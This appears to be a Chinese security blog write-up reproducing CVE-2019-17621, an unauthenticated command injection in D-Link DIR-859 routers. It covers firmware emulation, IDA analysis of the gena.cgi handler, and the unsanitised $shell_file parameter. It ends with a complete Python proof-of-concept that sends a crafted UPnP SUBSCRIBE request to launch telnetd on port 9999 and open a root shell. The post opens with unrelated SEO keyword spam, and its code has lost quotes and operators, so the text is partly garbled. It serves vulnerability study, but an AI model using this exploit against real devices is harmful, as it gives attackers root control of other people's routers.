公司如何登录网站做就业登记,ui设计是什么专业学科,手机搜索引擎排名,河北公司网站建设效果文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1#xff1a;代码分析 4.2#xff1a;流量分析 5.poc代码#xff1a; 1.漏洞描述
漏洞编号#xff1a;CVE-2019-17621
漏洞名称#xff1a;D-Link DIR-859 命令注入漏洞
威胁等级#xff1a;严重
漏洞详… 文章目录 1.漏洞描述 2.环境搭建 3.漏洞复现 4.漏洞分析 4.1代码分析 4.2流量分析 5.poc代码 1.漏洞描述
漏洞编号CVE-2019-17621
漏洞名称D-Link DIR-859 命令注入漏洞
威胁等级严重
漏洞详情D-Link UPnP-859 Wi-Fi路由器1.05和1.06B01 Beta 01中的UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求从而以root身份执行系统命令
影响范围D-Link DIR-859 v1.06b01beta01及之前的版本
固件下载地址http://www.dlink.com.cn/techsupport/download.ashx?file3850 2.环境搭建
下载到固件之后首先需要把固件 DIR822A1_FW103WWb03.bin模拟运行起来。
在测试虚拟机中模拟固件用到的是 firmware-analysis-toolkitGitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitiesToolkit to emulate firmware and analyse it for security vulnerabilities - GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitieshttps://github.com/attify/firmware-analysis-toolkit也可以直接安装一台 AttifyOS 虚拟机GitHub - adi0x90/attifyos: Attify OS - Distro for pentesting IoT devicesAttify OS - Distro for pentesting IoT devices . Contribute to adi0x90/attifyos development by creating an account on GitHub.https://github.com/adi0x90/attifyos
这个虚拟机镜像就是专门用来进行物联网 (IoT) 设备的安全评估和渗透测试的上面预装好了各种必要的工具比较方便AttifyOS 3.0 基于 Ubuntu 18.04。
3.漏洞复现
在firmadyne安装目录下执行命令
./fat.py DIR822A1_FW103WWb03.bin 出现如下提示后按回车运行固件。
在浏览器中访问 http://192.168.0.1 使用 nmap 扫描可以发现 9999 端口被开启运行 telnet 服务 命令grep -r 49152
注49152开启的是UPnP通用即插即用网络协议。 运行poc
命令python3.8 a.py poc执行成功后获得了dlink的shell。
4.漏洞分析
4.1代码分析
使用 binwalk -e 解包固件获得文件以备后续分析 进入home/CVE-2019/firmadyne/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/bin目录后我们并没有发现httpd可执行文件。
使用grep 命令搜索当前目录及其子目录下所有包含 httpd 字符串的文 _DIR822A1_FW103WWb03.bin.extracted/squashfs-root/etc/services/HTTP.php 文件包含了 httpd 的配置文件路径 /var/run/httpd.conf并且有启动和停止 httpd 服务的命令。这表明该脚本可能用于管理 httpd 服务的启动和停止。
查看httpd.conf文件
cat var/run/httpd.conf 可知/htdocs/upnp/docs/LAN-1用于存放 UPnP 服务相关的文档和资源.
进入路径/htdocs/upnp/docs/LAN-1
命令cd /htdocs/upnp/docs/LAN-1
ls -al 注意漏洞通告中:
The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root
能够定位漏洞位于/htdocs/cgibin
ida分析/htdocs/cgibin 通过查找关键词”gena”我们发现调用gena.cgi的genacgi_main函数
反汇编可知此函数的作用是处理一个简单的 CGI (通用网关接口) 请求。 首先检查请求方法和请求 URI 是否有效。
然后检查请求 URI 是否包含 ?service并获取服务名称。
根据请求方法SUBSCRIBE 或 UNSUBSCRIBE的不同调用相应的处理函数sub_40FCE0或sub_4100EC
注意漏洞通告中:
远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求。
跟进分析请求方法SUBSCRIBE调用的处理函数sub_40FCE0
反汇编可知此函数的作用是用于 UPnP (通用即插即用) 服务处理一个订阅请求。 这段代码主要是调用 xmldbc_ephp 函数来执行命令
分析xmldbc_ephp 它是一个包装器函数用于调用另一个函数 sub_414FB8
跟进sub_414FB8函数 1.调用 sub_4140BC 函数获取一个文件描述符或类似资源。 2.如果获取成功sub_4140BC 函数会调用 sub_41490C 函数进行进一步的操作。
跟进sub_41490C 函数 sub_41490C 处理文件描述符读取和数据处理的函数。 3.如果 sub_41490C 确保成功它会调用 sub_4146C8 函数进行最终操作。 sub_4146C8 函数作用是等待文件描述符流的状态变化然后读取数据并调用 sub_41460C 函数。 sub_41460C 函数中fwrite 函数被用来将 a1 指向的内存区域中的数据写入到文件流中。
而a1内存区域中的数据在sub_4140BC就有定义 a1 在这个函数中主要用于 可知脚本文件的路径run.NOTIFY.php中。
分析run.NOTIFY.php 这段代码用于处理 UPnP 设备的事件订阅请求根据不同的服务类型(GENA_subscribe_new 或者GENA_subscribe_sid)执行相应的操作。 其内容定义在了/htdocs/upnpinc/gena.php中。 其中引入多个变量。
但$shell_file 变量没有经过适当的清理和转义这允许攻击者通过在 URL 参数中注入恶意代码来控制 fwrite 函数写入的内容。 已知49152端口开启的是UPnP通用即插即用网络协议。
我们可以构造如下请求
http://router-ip:49152/gena.cgi?service$shell_file命令 /
验证命令注入漏洞。
4.2流量分析 UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求从而以root身份执行系统命令。
5.poc代码
代码复现时路由器ip:192.168.0.1
#!/usr/bin/python3import socket
import os
from time import sleepdef httpSUB(server, port, shell_file):print(\n[*] Connection {host}:{port}.format(hostserver, portport))con socket.socket(socket.AF_INET, socket.SOCK_STREAM)request SUBSCRIBE /gena.cgi?service str(shell_file) HTTP/1.0\nrequest Host: str(server) str(port) \nrequest Callback: http://192.168.0.4:34033/ServiceProxy27\nrequest NT: upnp:event\nrequest Timeout: Second-1800\nrequest Accept-Encoding: gzip, deflate\nrequest User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\nprint([*] Sending Payload)sleep(1)con.connect((socket.gethostbyname(server), port))con.send(request.encode())results con.recv(4096)print([*] Running Telnetd Service)sleep(2)print([*] Opening Telnet Connection\n)os.system(telnet str(server) 9999)serverInput 192.168.0.1
portInput 49152
httpSUB(serverInput, portInput, telnetd -p 9999 )
poc执行成功后获得了dlink的shell。